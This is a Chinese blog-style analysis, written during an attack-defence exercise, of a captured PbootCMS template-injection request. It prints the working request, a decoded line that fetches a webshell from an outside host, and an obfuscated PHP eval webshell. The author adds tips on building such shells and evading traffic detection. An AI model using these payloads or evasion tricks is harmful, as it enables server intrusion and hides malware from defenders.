前言
无聊的HW时候,千篇一律的扫描器,终于遇到一个半人工,payload有点质量。
捕获payload
GET /{pboot:if(("file_put_co"."ntents")("temp.php",("base6"."4_decode")("PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dC9tYTEudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=")))}{/pboot:if}/../../?p=20 HTTP/1.1
Accept-Encoding:identity
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Referer:http://n666888.com
Connection:close
分析
具体这个是哪个漏洞的payload不太清楚,网上搜了一下好像是pbootcms,但没有搜到具体的漏洞信息。
直接把base64编码解码看看。
<?php
file_put_contents('./core/basic/fun.php',file_get_contents('http://d.sogouad.vip/txt/ma1.txt'));
echo 'temp111888';
unlink(__FILE__);
访问链接地址,发现是个混淆过的php马。
去微步情报社区搜索相关域名信息,发现不只这一个样本。
而且ma1.txt这个文件已经被标红了,我们直接找个绿的看看。
只有一个引擎检出,而且动态分析失败。
<?php
global $phpjiami_decrypt;
$phpjiami_decrypt['��î����Ë����֯��������֔��å��']=base64_decode('c3RybGVu');
$phpjiami_decrypt['�������������Ĉ�������Ô���È֯�']=base64_decode('Y2hy');
$phpjiami_decrypt['����ֈ������֯�������È���������']=base64_decode('aGV4ZGVj');
$phpjiami_decrypt['�þ�Ë���־����È֮Ë��Ô�������']=base64_decode('aGV4VG9TdHI='); ?>
<?php
class _ {
static public $phpcms=Null;
function __construct($l="error"){
self::$phpcms=$l;
@eval(null.null.self::$phpcms);
}
}
function hexToStr($hex){
$str="";
for($i=0;$i<$GLOBALS['phpjiami_decrypt']['��î����Ë����֯��������֔��å��']($hex)-1;$i+=2)
$str.=$GLOBALS['phpjiami_decrypt']['�������������Ĉ�������Ô���È֯�']($GLOBALS['phpjiami_decrypt']['����ֈ������֯�������È���������']($hex[$i].$hex[$i+1]));
return $str;
}
$error =null.$GLOBALS['phpjiami_decrypt']['�þ�Ë���־����È֮Ë��Ô�������'](@$_POST["admin@888"]);
$d =new _($error);
?>
可以看到这里主要是使用乱码的变量名,来混淆样本,这里自己构造时可以用hex编辑工具来操作。
然后使用了null.null.self::$phpcms来传递参数,让查杀软件识别不了参数传递关系。
大概就是这样了,然后传递hex编码后的admin@888参数,即可执行命令。
感觉这里如果为了再让流量分析困难点,可以将hexToStr中的$hex[$i].$hex[$i+1])
交换位置,这样从流量不能一眼发现异常的hex编码。